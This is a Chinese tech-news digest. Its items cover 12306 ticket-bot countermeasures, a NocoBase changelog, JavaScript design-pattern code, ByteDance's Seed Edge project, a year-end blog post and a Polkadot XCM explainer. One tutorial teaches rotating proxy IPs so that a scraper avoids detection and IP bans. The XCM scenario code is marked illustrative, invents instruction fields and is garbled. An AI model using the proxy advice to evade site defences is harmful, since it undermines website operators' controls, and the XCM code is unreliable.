对此,铁路 12306 科创中心研究员杨立鹏回应表示,在其系统风险防控措施下,绝大多数「抢票软件」的高频刷票等异常行为能够被识别,进而被拒绝访问或放入慢速队列中,不但快不了,反而直接影响购票成功率

对于部分「抢票软件」推出的付费「加速抢票包」,杨立鹏表示,这类「加速包」为营销噱头,实际上旅客加钱并不会提高购票的速度。

同时杨立鹏分析,「抢票软件」利用旅客基于购票成功的心理,诱导旅客多花钱,从而让旅客感觉希望更大。

杨立鹏指出,部分旅客通过所谓的「加速包」购票成功,实际上有两种情况:铁路增加运力或部分旅客退改签,从而多出了票额;或是「抢票软件」的个别机器访问行为与正常旅客的购票行为高度相似,侥幸逃过了风控识别,这部分占比很小

此外,还有部分网友反馈 12306 上显示「无票」,而「抢票软件」却显示「有票」。杨立鹏解释,这实质上是让旅客「买长乘短」「买短乘长」或「换座」。

杨立鹏也提醒,「买长乘短」让旅客多付费用、多占有限的铁路运力资源,「买短乘长」、上车补票可能会引发列车超员报警、影响列车运行安全,铁路部门将依规请「买短乘长」人员下车,旅客出行会受到很大影响。

「12306 成为一种新的存钱方式」也一同登上热搜榜。临近春节,为了购买到合适的火车票,许多人不得不使用 12306 连续候补多天的票,甚至有网友晒图展示,候补火车票的费用高达一万多元。

by 来源: OSCHINA at January 23, 2025 02:28 AM

oschina news project

🔥 改进文件存储扩展:开源无代码 / 低代码平台 NocoBase

NocoBase 是一个极易扩展的开源无代码开发平台。完全掌控,无限扩展,助力你的开发团队快速响应变化,显著降低成本,不必投入几年时间和数百万资金研发,只需要花几分钟部署 NocoBase。

NocoBase 中文官网

官方文档

在线 Demo


汇总一周产品更新日志,最新发布可以前往我们的博客查看

NocoBase 目前更新包括的版本更新包括三个分支:mainnextdevelop

version.png

main :截止目前最稳定的版本,推荐安装此版本。

next:包含即将发布的新功能,经过初步测试的版本,可能存在部分已知或未知问题。主要面向测试用户,用于收集反馈和进一步优化功能。适合愿意提前体验新功能并提供反馈的测试用户。

develop:开发中的版本,包含最新的功能代码,可能尚未完成或存在较多不稳定因素,主要用于内部开发和快速迭代。适合对产品功能前沿发展感兴趣的技术用户,但可能存在较多问题或不完整功能,不建议在生产环境中使用。

main

main.png

v1.4.25

发布时间:2025-01-16

🚀 优化

  • [client] 改进文件存储扩展 (#6071) by @chenos
  • [工作流] 修复定时任务重复配置字段组件的问题 (#6067) by @mytharcher

🐛 修复

  • [移动端] 修复移动端底部按钮被遮挡的问题 (#6068) by @zhangzhonghe
  • [工作流:自定义操作事件] 修复自定义操作事件中对数据的查询请求 by @mytharcher
  • [备份管理器] 修复 collection-fdw 插件未开启时可能出现的备份报错 by @gchust
  • [部门] 修复部门表无法触发自定义工作流的问题 by @mytharcher

v1.4.26

发布时间:2025-01-16

🚀 优化

  • [client] 支持给 SQL 数据表添加描述 (#6081) by @2013xile
  • [resourcer] 支持 API 请求中传入空对象作为 values 的值 (#6070) by @mytharcher

🐛 修复

  • [本地化] 译文为空时,点击“删除译文按钮”不请求接口 (#6078) by @2013xile

v1.4.27

发布时间:2025-01-18

🐛 修复

  • [client] 修复在嵌入页面中,弹窗中的区块数据为空的问题 (#6086) by @zhangzhonghe
  • [工作流] 修复在准备阶段的调度未能执行的问题 (#6087) by @mytharcher

v1.4.28

发布时间:2025-01-21

🐛 修复

  • [client] 关系字段设置的默认值没有更新 (#6103) by @chenos
  • [操作:批量编辑] 移除批量编辑表单中的表单数据模板配置项 (#6098) by @katherinehhh
  • [验证码] 修复提供商 ID 可以被修改的问题 (#6097) by @mytharcher

v1.4.29

发布时间:2025-01-21

🎉 新特性

  • [区块:操作面板] 支持配置移动端操作面板每行显示的图标数量 (#6106) by @katherinehhh

next

next.png

v1.5.0-beta.29

发布时间:2025-01-16

🚀 优化

  • [备份管理器] 优化还原失败时的错误消息 by @gchust

v1.5.0-beta.30

发布时间:2025-01-16

🐛 修复

  • [client] 修复 Easy-reading 模式的关系字段默认值不生效的问题 (#6066) by @zhangzhonghe

v1.5.0-beta.31

发布时间:2025-01-17

🐛 修复

  • [用户数据同步] 修复同步任务列表中“重试”按钮不显示的问题 (#6079) by @2013xile

v1.5.0-beta.32

发布时间:2025-01-17

🚀 优化

  • [工作流] 将部分 API 调整为更合理的名称 (#6082) by @mytharcher

v1.5.0-beta.33

发布时间:2025-01-21

🎉 新特性

  • [工作流] 对工作流增加堆栈限制的配置项 (#6077) by @citlalinda

🚀 优化

  • [工作流:循环节点] 修复工作流画布的样式问题 (#6095) by @mytharcher
  • [文件管理器] 支持其他存储插件 (#6096) by @jiannx 参考文档:文件存储:S3 (Pro)
  • [工作流:测试工具包] 调整工作流画布样式,使内容更紧凑 (#6088) by @mytharcher
  • [工作流:JSON 解析节点] 为节点增加类型图标 by @mytharcher

develop

develop.png

v1.6.0-alpha.15

发布时间:2025-01-19

🎉 新特性

  • [client] 支持为区块设置描述 (#6015) by @katherinehhh
  • [用户认证] 支持token安全配置。 (#5948) by @sheldon66 参考文档:Token 安全策略
  • [工作流:人工处理节点] 增加人工节点待办表格的任务名称列 (#6051) by @mytharcher

🚀 优化

  • [工作流:自定义操作事件] 调整手动执行工作流的 API by @mytharcher

v1.6.0-alpha.16

发布时间:2025-01-19

🎉 新特性

  • [区块:操作面板] 支持配置移动端操作面板每行显示的图标数量 (#6046) by @katherinehhh

by 来源: 投稿 at January 23, 2025 02:23 AM

oschina news industry

微信开始测试「用系统电话接听」

近期更新的 iOS 版微信 8.0.55 和 8.0.56 版本开始以更大范围测试「语音和视频通讯用系统电话接听」功能。

开启该功能后,微信电话会以灵动岛或弹出卡片显示。

开发者 Netskao 通过逆向工程发现,微信抛弃了此前采用的 CallKit 方案,调用了 iOS 17.4 引入的 LiveCommunicationKit 接口,使用该接口的通话在锁屏下不会全屏弹出,且通讯录中无通话记录。

 

相关阅读:微信 iOS 版 8.0.55 大规模灰度 CallKit

by 来源: OSCHINA at January 23, 2025 02:20 AM

juejin frontend

学不会设计模式?来看看这些简单又实用的手写代码!

1. 单例模式 (Singleton)

特点:确保一个类只有一个实例,并提供全局访问点。
用途:常用于全局状态管理、配置管理等。

class Singleton {
    constructor(name) {
        if (Singleton.instance) return Singleton.instance; // 如果已有实例,返回该实例
        this.name = name;
        Singleton.instance = this; // 保存实例
    }

    getName() {
        return this.name;
    }
}

// 测试
const instance1 = new Singleton("First Instance");
const instance2 = new Singleton("Second Instance");

console.log(instance1 === instance2); // true
console.log(instance2.getName());    // "First Instance"

2. 工厂模式 (Factory)

特点:通过工厂方法动态创建不同类的实例,而无需明确指定具体类。
用途:常用于根据条件生成对象(如不同按钮、弹窗等)。

class Button {
    render() {
        console.log("Rendering a button");
    }
}

class Input {
    render() {
        console.log("Rendering an input field");
    }
}

class ComponentFactory {
    static createComponent(type) {
        switch (type) {
            case "button":
                return new Button();
            case "input":
                return new Input();
            default:
                throw new Error("Unknown component type");
        }
    }
}

// 测试
const button = ComponentFactory.createComponent("button");
button.render(); // Rendering a button

const input = ComponentFactory.createComponent("input");
input.render(); // Rendering an input field

3. 观察者模式 (Observer)

特点:定义对象间的一种一对多依赖关系,当一个对象改变时,自动通知其依赖者。
用途:常用于事件系统(如 DOM 事件、Vue 的响应式系统)。

class Subject {
    constructor() {
        this.observers = []; // 存储观察者
    }

    subscribe(observer) {
        this.observers.push(observer); // 添加观察者
    }

    unsubscribe(observer) {
        this.observers = this.observers.filter(obs => obs !== observer); // 移除观察者
    }

    notify(data) {
        this.observers.forEach(observer => observer.update(data)); // 通知观察者
    }
}

class Observer {
    constructor(name) {
        this.name = name;
    }

    update(data) {
        console.log(`${this.name} received:`, data);
    }
}

// 测试
const subject = new Subject();
const observer1 = new Observer("Observer 1");
const observer2 = new Observer("Observer 2");

subject.subscribe(observer1);
subject.subscribe(observer2);

subject.notify("Event Triggered!"); // 所有观察者收到通知

4. 策略模式 (Strategy)

特点:定义一系列算法,将每个算法封装起来,使它们可以互换。
用途:如表单校验逻辑、不同支付方式的处理。

class Validator {
    constructor(strategy) {
        this.strategy = strategy;
    }

    validate(value) {
        return this.strategy(value);
    }
}

// 策略函数
const isNotEmpty = value => value.trim() !== "";
const isNumber = value => !isNaN(value);

// 测试
const nonEmptyValidator = new Validator(isNotEmpty);
console.log(nonEmptyValidator.validate("Hello")); // true
console.log(nonEmptyValidator.validate(""));      // false

const numberValidator = new Validator(isNumber);
console.log(numberValidator.validate("123"));     // true
console.log(numberValidator.validate("abc"));     // false

5. 装饰器模式 (Decorator)

特点:动态地给对象添加新的功能,而不改变其原始结构。
用途:如为组件添加额外功能(权限控制、日志记录等)。

function withLogging(component) {
    return function (...args) {
        console.log("Arguments:", args);
        const result = component(...args);
        console.log("Result:", result);
        return result;
    };
}

// 原始函数
function add(a, b) {
    return a + b;
}

// 装饰后
const addWithLogging = withLogging(add);

// 测试
addWithLogging(3, 4);
// Logs:
// Arguments: [3, 4]
// Result: 7

6. 代理模式 (Proxy)

特点:为对象提供一个代理以控制对其的访问。
用途:常用于权限校验、延迟加载等。

const user = {
    name: "John",
    isAdmin: false,
};

const userProxy = new Proxy(user, {
    get(target, prop) {
        if (prop === "isAdmin" && !target[prop]) {
            throw new Error("Unauthorized access");
        }
        return target[prop];
    },
    set(target, prop, value) {
        if (prop === "isAdmin") {
            console.log("Modifying admin rights is not allowed.");
            return false;
        }
        target[prop] = value;
        return true;
    },
});

// 测试
try {
    console.log(userProxy.isAdmin); // Throws "Unauthorized access"
} catch (e) {
    console.error(e.message);
}

userProxy.name = "Jane"; // 修改 name 成功
console.log(userProxy.name); // "Jane"

7. 发布-订阅模式 (Publish-Subscribe)

特点:定义一种发布者与订阅者之间的关系,订阅者可以订阅感兴趣的事件。
用途:如消息总线或事件分发系统。

class EventBus {
    constructor() {
        this.events = {};
    }

    subscribe(event, listener) {
        if (!this.events[event]) this.events[event] = [];
        this.events[event].push(listener);
    }

    unsubscribe(event, listener) {
        if (!this.events[event]) return;
        this.events[event] = this.events[event].filter(l => l !== listener);
    }

    publish(event, data) {
        if (!this.events[event]) return;
        this.events[event].forEach(listener => listener(data));
    }
}

// 测试
const bus = new EventBus();
const onMessage = data => console.log("Received:", data);

bus.subscribe("message", onMessage);
bus.publish("message", "Hello, World!"); // Received: Hello, World!
bus.unsubscribe("message", onMessage);
bus.publish("message", "Hello again!"); // 无输出

这几种设计模式在前端开发中都非常实用,可以根据场景灵活运用。需要具体代码示例或更多模式解析,可以随时告诉我!

by 前端小续 at January 23, 2025 02:17 AM

juejin freebie

python使用代理ip爬虫:提高网络抓取效率的实用方法

Python使用代理IP进行爬虫的全攻略

在网络数据的浩瀚海洋中,爬虫技术犹如一艘航行的船只,帮助我们捕捉到有价值的信息。然而,在爬取的过程中,频繁的请求可能会引发网站的警觉,导致IP被封禁。此时,代理IP就像是船只上的隐形斗篷,帮助我们在不被发现的情况下顺利获取数据。接下来,我们将详细探讨如何在Python中使用代理IP进行爬虫。

什么是代理IP?

代理IP是指通过代理服务器转发请求的IP地址。使用代理可以隐藏真实的IP地址,避免因频繁请求同一网站而导致的封禁。想象一下,你在一个秘密会议上,借用他人的身份进行发言,这样就不容易被注意到。而代理IP正是实现这一目的的工具。

准备工作

在开始之前,我们需要准备一些基础设施:

  • Python环境:确保你的计算机上已安装Python,并且版本为3.6及以上。
  • 请求库:使用requests库来发送HTTP请求。如果尚未安装,可以通过以下命令进行安装:
pip install requests

获取代理IP

有很多网站提供免费的代理IP列表,你可以从中选择合适的代理。

当然,免费的代理IP可能不够稳定,建议使用一些付费的代理服务,以确保抓取过程的顺利。

神龙HTTP代理

使用代理IP进行爬虫

现在,让我们开始编写Python代码,通过代理IP进行爬虫。以下是一个简单的示例,展示如何使用requests库和代理IP来抓取网页内容:

import requests

# 设置代理IP
proxy = {
    "http": "http://192.168.1.1:8080",  # 替换为你的代理IP
    "https": "http://192.168.1.1:8080"  # 替换为你的代理IP
}

url = "http://example.com"  # 目标网址

try:
    # 发送请求
    response = requests.get(url, proxies=proxy, timeout=10)
    response.raise_for_status()  # 检查请求是否成功
    print(response.text)  # 打印网页内容
except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")

在这个示例中,我们首先设置了一个代理IP,然后通过requests库向目标网址发送请求。如果请求成功,我们将打印出网页内容;如果出现异常,则会输出错误信息。

动态切换代理IP

为了提高抓取效率并降低被封禁的风险,我们可以实现动态切换代理IP。以下是一个简单的实现方式:

import requests
import random

# 代理IP列表
proxy_list = [
    "http://192.168.1.1:8080",
    "http://192.168.1.2:8080",
    "http://192.168.1.3:8080"
]

url = "http://example.com"

def get_random_proxy():
    return {
        "http": random.choice(proxy_list),
        "https": random.choice(proxy_list)
    }

try:
    proxy = get_random_proxy()  # 随机选择一个代理IP
    response = requests.get(url, proxies=proxy, timeout=10)
    response.raise_for_status()
    print(response.text)
except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")

在这个代码片段中,我们创建了一个包含多个代理IP的列表,每次请求时随机选择一个代理,这样可以有效降低被检测到的风险。

处理超时和重试机制

在爬虫过程中,超时是一个常见的问题。为了提高程序的健壮性,我们可以添加超时处理和重试机制:

import requests
import random
import time

proxy_list = [
    "http://192.168.1.1:8080",
    "http://192.168.1.2:8080",
    "http://192.168.1.3:8080"
]

url = "http://example.com"

def get_random_proxy():
    return {
        "http": random.choice(proxy_list),
        "https": random.choice(proxy_list)
    }

def fetch_url(url, retries=3):
    for i in range(retries):
        try:
            proxy = get_random_proxy()
            response = requests.get(url, proxies=proxy, timeout=10)
            response.raise_for_status()
            return response.text
        except requests.exceptions.RequestException as e:
            print(f"请求失败: {e},正在重试... {i + 1}/{retries}")
            time.sleep(2)  # 等待2秒后重试
    return None

content = fetch_url(url)
if content:
    print(content)
else:
    print("所有重试均失败")

在这个示例中,我们定义了一个fetch_url函数,尝试多次发送请求。如果请求失败,将等待2秒后重试,直到达到最大重试次数。

总结

在Python中使用代理IP进行爬虫,不仅可以保护自己的真实IP,还能有效避开网站的反爬虫机制。通过合理选择代理、动态切换、处理超时和重试机制,我们可以大幅提高爬虫的成功率。

网络的数据如同一座宝藏,等待着我们去发掘。希望这篇文章能为你的爬虫之旅提供一些帮助,让你在数据采集的道路上走得更远、更顺畅!

by 召唤神龙 at January 23, 2025 02:12 AM

oschina news industry

字节启动 AGI 长期研究计划,代号 Seed Edge

字节豆包大模型团队已在内部组建AGI长期研究团队,代号“Seed Edge”,鼓励项目成员探索更长周期、不确定的和大胆的AGI研究课题。

接近字节的知情人士透露,Seed Edge的目标是探索AGI的新方法,代号名中Seed是豆包大模型团队名称,Edge代表最前沿的AGI探索。Seed Edge鼓励跨模态、跨团队合作,为项目成员提供宽松的研究环境,并实行更长周期的考核方式,以保障挑战真正颠覆性的AGI课题。

Seed Edge初步确定了五大研究方向,包括:

  • 探索推理能力的边界
  • 探索感知能力的边界
  • 探索软硬一体的下一代模型设计
  • 探索下一代AI学习范式
  • 探索下一个scaling方向。

接近字节的人士表示,字节创始人张一鸣非常重视和强调加强 AI 研究投入,他会自己看论文,看技术关键细节,和一流 AI 研究者聊天、交流,并鼓励字节 AI 研究团队探索、研究基础课题。

据了解,Seed Edge 会先以虚拟项目组的方式运行,探索这些不确定性更强的研究方向。

by 来源: OSCHINA at January 23, 2025 02:02 AM

juejin article

2024年度个人总结 | 匆匆

前言

回顾23年年底的时候,感觉仿佛又在昨日,依然清晰记得去年年底还在为bytetrack项目忙碌,回顾了一下去年的年终总结,可能因为比较忙,所以写的很简单,没有什么内容,我比较喜欢刷掘金,看别人喜欢写些什么,看到别人每年年底都会在这地方对自己做一些总结, 所以准备今年在这记录下今年的对自己个人总结

今年是一如2023一样忙,但是今年忙的侧重点不一样,去年是主要忙在公司,今年主要忙在个人

工作

项目

bytetrack 80%

今年上半年主要还是以该项目为主, 也是我来公司做的最久一个项目 他可能还不是那样的完美,但是是我们项目组的心血所在, 也是我们一直维护运营的项目, 虽然今年因为其它项目停更, 但是只要的一直能够运营下去,起码证明我们的心血没有白费

byber 20%

该项目需求内容对于前端来说, 没有特别的, 只是用了新版的框架, 整体写法用了函数式编程,用了ts去开发;

个人成长

对于技术这块, 个人感觉今年依然跟去年一样,没什么大的进步,虽然前端内容大而杂,学习的东西很多,有时候也很迷惑,是追求广度,还是深度,也有可能自己还没记录学习的习惯,不积跬步,无以至千里,强行回忆一下一些见到和新用到的一些新知识点

技术栈

  • vue3
  • TS
  • vite
  • TailWind

AI 工具

  • copilot
  • MarsCode
  • cursor

安全工具

  • BurpSuite
  • HackBar

其它

硬件换新

  • 换新3台4k显示器
  • Mac mini 4
  • 人体工学椅

生活

新家落成

经过大半年的折腾,终于把我的新房给装修好了 ,也是今年主要是办的事 前期找设计公司折腾设计,结果预算超预算,果断弃坑 最后经人介绍,找的老家的装修公司,随便装了一下,昨天窗帘才送过来装

换置新车 从燃油车换到电车,确实省油,但是不省钱,整体体验还是得到不少提升, 可以不用带车钥匙,远程开关门空调, 今年哪里都没玩,结果还行驶了1.76万公里

健康生活

今年感觉虚的很,几乎没有任何锻炼活动, 干点活都累的不行, 前几天流感都能搞的浑身酸疼无力,来年还是得常规锻炼,制定好锻炼计划,健康的活着

新增技能

增驾D照

总结

2024是具有挑战性的一年, 纵使大环境不怎么景气, 公司依然能稳步前进,已经是最好的结果 自己也在一年中忙碌中完成了自己的一些家庭上的事情,没有白忙活一场

展望

2025年,已经距离我毕业已经9年了 所以突然想起来朱自清写的

《匆匆》
燕子去了
有再来的时候
燕子去了
有再来的时候
杨柳枯了
有再青的时候
但是聪明的
你告诉我
我们的日子怎么一去不复返呢? 

岁月如梭,时光荏苒,马上就是下一个10年, 感觉是时候对下一个人生阶段做阶段规划

关于工作

  • 养成日常编写掘金文档的习惯,一个月写一个吧
  • 每个季度对自己已掌握的技术点,查缺补漏,做技术梳理总结,并编写文档
  • 每个季度找一个感兴趣的技术点做深度学习
  • 一周最少刷一个算法题
  • 使用react开发一个线上项目
  • 每年做一个开源小项目

关于生活

  • 打造一个理想的电脑房
  • 每周尽量做到一次锻炼
  • 搞一辆喜欢的dream car
  • 每年出去旅游一次
  • 早日生个娃出来玩

最后希望来年祝我和我的同事明年都能发财,不忘初心,往后每天的任务目标只有一个

image.png

by 高级CV大法师 at January 23, 2025 02:00 AM

juejin freebie

XCM:跨链开发者的「低代码平台」

图片

想象一下,你是一位满怀激情的区块链工程师,站在 Web3 技术的最前沿。你看到了无数的机会:

  • Acala 上有 30% APY 的流动性挖矿
  • Moonbeam 上有优质的借贷机会
  • Astar 上线了热门 NFT 项目

但是要把这些机会连接起来,你需要面对:

  • 智能合约开发
  • 跨链技术的基本原理
  • 跨链交易的安全性
  • 构建实际的跨链应用场景
  • 代码审计和安全性分析

为了更科学、更合理地编写代码,你还需要深入研究:

  • 一些顶尖的跨链项目
  • 基础设施型 DApp 的代码和合约地址

这一切似乎让人望而却步!

然而,你不禁思考,是否存在一种工具,能够让你绕过复杂的跨链原理、安全性的顾虑,甚至免去代码学习的艰辛,让你能够将大部分精力集中在跨链场景的构建和用户体验的优化上。幸运的是,波卡的跨链协议: XCMP ,可能就是你寻找的答案。

为什么要关注 XCM ?

让我们先来看一个真实的场景:小明是一个 DeFi 玩家,他发现 Moonbeam 上有个很好的借贷机会,而 Acala 上则有个高收益的流动性挖矿项目。但是要同时参与这两个项目,他需要:先把资产从 Moonbeam 转到中心化交易所,等待确认,从交易所提现到 Acala 再等待确认,最后才能开始操作。整个过程不仅耗时,还要支付高额手续费,更别说中间还要承担中心化交易所的风险。  而有了 XCM,这个过程可以简化为:**「在 Moonbeam 上点击"跨链转移到 Acala 并挖矿"」**等待十几秒,tada!交易完成!在波卡生态中,XCM 就像是一张"跨链通行证",让你的资产和操作可以自由地在不同链间流转。不仅如此,作为开发者,你甚至可以让用户在你的应用中直接使用其他链的功能,就像在同一个超级 APP 里切换不同的服务一样流畅!

XMC 与传统跨链桥的区别

简单来说,XCM(Cross-Consensus Message) 就是 Polkadot 生态的"万能积木"。它不是普通的跨链桥,而是一种全新的跨链通信格式,就像乐高积木一样可以自由组合,构建出各种有趣的应用。

安全性对比

传统安全桥通常会有2个重要的技术组件:1)源链交易正确性证明 2)跨链消息 relay,因此跨链桥的安全级别既取决于源链和目标链的链安全级别,也取决于跨链桥项目的安全级别。而支撑 Polkadot 的 XCMP 的真正协议正是 Polkadot 的根基:共识共享安全。也就是说在 Polkadot 生态里,所有平行链的安全级别和 Polkadot 是一样的,而跨链消息的正确传递也由 Polkadot 保证。从模型的角度看,如果把 parachain 都理解成「大合约」的话,那么 Polkadot 和 parachain 所组成的并不是一个传统意义上的跨链网络,这就是一个超级区块链,只不过「应用/合约」和「应用/合约」之间的沟通形式是「异步」的而已。这也是我们为什么可以抛开 XCM 的原理和安全性,只聚焦于业务构建的原因。传统跨链桥的安全性: 源链安全性 + 桥的安全性 + 目标链安全性 = 最终安全性Polkadot XCMP 的安全性: Polkadot 中继链安全性 = 平行链安全性 = XCM 安全性

功能对比

传统跨链桥:就像坐轮渡过河,每次都要重新排队、买票、等待XCM:像是城市地铁,刷一张卡就能畅通无阻图片XCMP 不仅能够传输资产,还能携带错误处理、指令、回调和自定义信息,使得跨链通信更加强大和灵活。这种能力上的飞跃,让 XCMP 在跨链通信领域独树一帜,为开发者提供了前所未有的便利和可能性。

XCMP 简单介绍

XCM 的传递信道就是 XCMP ,是 Polkadot 生态内重要的跨链消息传递基础设施,目前的信道分成两大类:VMP (垂直消息传递) 适用场景:平行链和中继链之间的沟通平行链 <==(UMP/DMP)==> 中继链UMP: 向上消息传递DMP: 向下消息传递HRMP(横向消息传递) 适用场景:平行链之间的沟通,目前还需要通过中继链。ParaA ==> 中继链 ==> ParaB特点:

  • 消息经过中继链转发
  • 成本较高但稳定可靠图片

主角登场:什么是 XCM

通过这些信道传递的消息就是 XCM (Cross-Chain Message)。XCM,准确来说,它是一种消息格式,是 Polkadot 生态中用于实现跨链和跨共识通信的标准:允许不同区块链之间交换「任意」数据,为开发者提供了一种编写跨不同链、智能合约平台和 Substrate 模块的通用语言。简言之,基于 XCM 构造跨链消息,可以在 Polkadot relaychain 和 parachain 之间以「任意」路径路由「任意」消息。

图片

深入之前,你还应该知道

到了这里,我们离 XCM 构造学习只差一步了,想象你正在构建一个跨链应用,如何准确定位链上的任何资源?MultiLocation 就是为解决这个问题而设计的通用寻址系统。 为什么需要 MultiLocation传统区块链的地址表示:0x742d35Cc6634C0532925a3b844Bc454e4438f44e如果要进一步优化,可以标识网络:eth:0x742d35Cc6634C0532925a3b844Bc454e4438f44esep:0x2a01008eaf04151687736326c9fea17e25fc5287但是这样做仍有缺点:

  • 只能在单链内使用
  • 无法表达跨链关系
  • 缺乏层级结构

而为了解决以上的问题,MultiLocation 选择了相对路径的描述方案:图片为了更加形象地理解这一点,假设我们现在有两个账户,Acala 链上的 Alice,和Bifrost 链上的 Bob,他们的账户位置如下:图片如果我们从 Polkadot 的视角来看,那么 Alice 和 Bob 的相对路径就是( child 即向下数):Child -> Parachain(acala_chain_id)-> Account(alice)Child -> Parachain(bifrost_chain_id)-> Account(bob)如果从 Acala 的视角来看的话,那么 Bob 的描述就是( Parent 即向上数):Parent -> Parachain(bifrost_chain_id) -> Account(bob)也就是说,对于源链而言,知道了发送目的地的目标账户,即知道此条 XCM 消息的路径;同样地,目标链会从 xcm sender 的表示中知道源链的信息,并用此完成一些目标链上的资产、账户隔离等安全操作。由此,我们也可以总结得到 MultiLocation 的关键设计原则:相对性原则

  • 位置始终相对于当前链
  • 使用 parents 向上导航
  • 使用 interior 向下/平行导航

最短路径原则

  • 优先选择直接路径
  • 避免不必要的中继链跳转
  • 减少定位层级

统一性原则

  • 统一的寻址格式
  • 支持各类链上资源
  • 便于跨链互操作

更重要的是,MultiLocation 不仅涉及跨链系统中账户标识的设计,也是跨链资产的重要基石,它可以帮助目标链准确定位跨链资产的来源信息,从而保证在目标链的安全映射。跨链系统特有的安全风险通常包括:账户混淆、资产欺诈和路由劫持,而MultiLocation 的设计思路是一个很好的解决方案。

XCM 初探

XCM 是一门「跨链语言」,而且相当简单。我们可以把 XCM 想象成一堆指令,而「执行XCM」就是一个虚拟机在执行指令。所以我们在很多文章中经常可以看到 XCVM 和 XCM 成对出现。这里的 XCVM 并不是一个真正的虚拟机,而是一个虚拟概念,准确地说,它是 xcm-executor。当一堆XCM消息到达目标链时,他们被按照顺序拿出并依次执行。我们可以通过:github.com/paritytech/… XCM 的具体指令,我们可以大致把 XCM指令大致分成 6 类:资产操作类、错误处理类、流程控制类、权限控制类、通用操作类、其他****资产操作类

WithdrawAsset,
ReserveAssetDeposited,
ReceiveTeleportedAsset,
TransferAsset,
TransferReserveAsset,
DepositAsset,
DepositReserveAsset,
ExchangeAsset,
InitiateReserveWithdraw,
InitiateTeleport,
ClaimAsset,
BurnAsset,
ExpectAsset,
LockAsset,
UnlockAsset,
InitiateTransfer,

流程控制类

SetAppendix(Xcm<Call>),

错误处理类

SetErrorHandler,
Trap,
ClearError,
ClearTransactStatus,
ExpectPallet,
ReportError,
ReportTransactStatus,
ExpectOrigin(Option<Location>),

权限控制类

ClearOrigin,
DescendOrigin,
ExecuteWithOrigin,
UniversalOrigin(Junction),

通用操作类

Transact,

其他类里包括一些查询状态、自定义路由、gasfee 处理相关的指令。我们可以从 XCM 的指令分类中看出,XCVM( XCM 执行器)几乎就是一个资产特化版的「简单虚拟机」。有了 XCM ,就可以把开发者从「跨链系统原理」、「业务研究」、「手搓合约」的繁重劳动中解放出来,而只需要关注「如何组合 XCM 指令完成业务」即可。到这里,我们就触摸到了 XCM 的精髓—— XCM 的可组合性。

跨链乐高:XCM 的可组合性

到这里,我们都对 XCM 有了基本的概念,基于各种 XCM 指令的组合可以构建丰富的跨链场景。在实际应用中,Polkadot 使用 XCM 的可组合性,为跨链资产转账这一场景构造了一些基本的 XCM 组合范式,目前已经成为了中继链和平行链、平行链和平行链之间跨链资产的事实标准。Polkadot 内,跨链资产转移有 2 种模式:1. Burn-mint 2. Reserve-Deposit. 顾名思义,这两种模式在目标链上的行为相差不大,重要的是在源链上,被跨链的资产是被销毁还是锁定在某个「托管账户」中。从这两种模式的区别我们可以看出,burn-mint 对源链和目标链的信任度要求非常高,因此这种模式的跨链转账通常发生在中继链与其系统平行链跨链转账中,而其他三方平行链之间则通常使用 withdraw-deposit 模式。Burn-mint: TeleportBurn-mint 的转移模式在 Polkadot 中有一种特定的称呼,叫做 teleport.

图片

每次 teleport 通常由下面的三条指令完成业务功能:

[   InitiateTeleport, // 扣押并销毁发送地址上的资产  
ReceiveTeleportedAsset, // 通知目标链  
DepositAsset // 目标链直接增发资产至接收地址 
]  
Withdraw-deposit: reserve-asset-transfer

图片这种锁定-释放模式的跨链转账可以安全地转移任意资产,更具体地说,资产发行地在 Polkadot 任意链上,并不局限于只能转移源链或者目标链上的资产,图中展示的即是 AB 链之间跨链转移 C 链资产的场景。可以看到,完成这种相对复杂的跨链资产转移,也只需要 5 条 XCM 消息

[ WithdrawAsset, // 源链上扣押发送者资产 
InitiateReserveWithdraw, // 通知资产发行链 
DepositReserveAsset, // 路由至资产发行链,扣押源链主权账户上的资产
ReserveAssetDeposited, // 在资产发行链上,对目标链主权账户增发资产
DepositAsset // 在目标链的接受者地址上存入资产]

头脑风暴:XCM 如何构造性感的跨链应用

此处给出的 XCM 组合仅作为示意,不能直接把它用在生产环境中。到了这里,我们就已经基本了解如何构造 XCM 用于跨链转账了,下面让我们畅想一些有趣的跨链应用,以及要如何组合使用 XCM 来实现它们。场景一:跨链流动性聚合器想象一个可以自动在多个 DEX 间寻找最佳价格的跨链交易系统:图片

// 2. 设置价格检查ExpectAsset {    
assets: expected_output.clone(),    effects: vec![       // 如果价格不满足则回退        BuyExecution {             fees,             weight_limit: Limited(1_000_000)         },        RefundSurplus,        DepositAsset { beneficiary: sender }    ]},
// 3. 执行最优路径交易Transact {    origin_type: OriginKind::Native,    require_weight_at_most: 5_000_000,    call: router::swap_with_best_route(        input_amount,        min_output,        dex_routes,        deadline    ).encode()  }]);

场景二:跨链借贷协议实现在一个链上存入抵押品,在另一个链上借出资产:

// 跨链借贷   let cross_chain_lending = Xcm(vec![   
// 1. 锁定抵押品    
WithdrawAsset(collateral_assets.clone()),       
// 2. 验证抵押率    
Transact {        
call: lending::check_collateral_ratio(            
user_account,            
collateral_amount,            
borrow_amount        
).encode()    
},       
// 3. 设置清算条件    
Transact {        
call: lending::set_liquidation_params(
threshold: 150,          // 150% 清算阈值
penalty: 5,              // 5% 清算惩罚            
grace_period: 24 * 3600  // 24小时宽限期        
).encode()    
},       
// 4. 发放贷款    
Transact {        
call: lending::borrow_assets(            
asset_id,            
borrow_amount,            
recipient        
).encode()    },        
// 5. 设置自动还款    
SetAppendix(Xcm(vec![        
QueryHolding {            
query_id: 2,            
dest: ParaId(2004),            
assets: repayment_asset,            
max_response_weight: 1_000_000        },        
Transact {            
call: lending::auto_repay(                
loan_id,                
repayment_schedule            
).encode()        
}    
]))
]);

场景三:跨链 DAO 治理实现跨链投票和提案执行:图片

 // 跨链治理let governance_xcm = Xcm(vec![   // 1. 验证提案权重    QueryHolding {        query_id: 3,        dest: dao_location,        assets: governance_token,        max_response_weight: 1_000_000    },   // 2. 提交投票    Transact {        call: governance::cast_vote(            proposal_id,            vote_direction,            vote_weight        ).encode()    },   // 3. 锁定投票权重    LockAsset {        assets: governance_token,        duration: 7 * 24 * 3600  // 锁定一周    },   // 4. 设置自动执行    SetAppendix(Xcm(vec![       // 当提案通过时自动执行        Transact {            call: governance::execute_proposal(                proposal_id,                execution_params            ).encode()        }    ]))]);

XCM,波卡开发者的新机遇

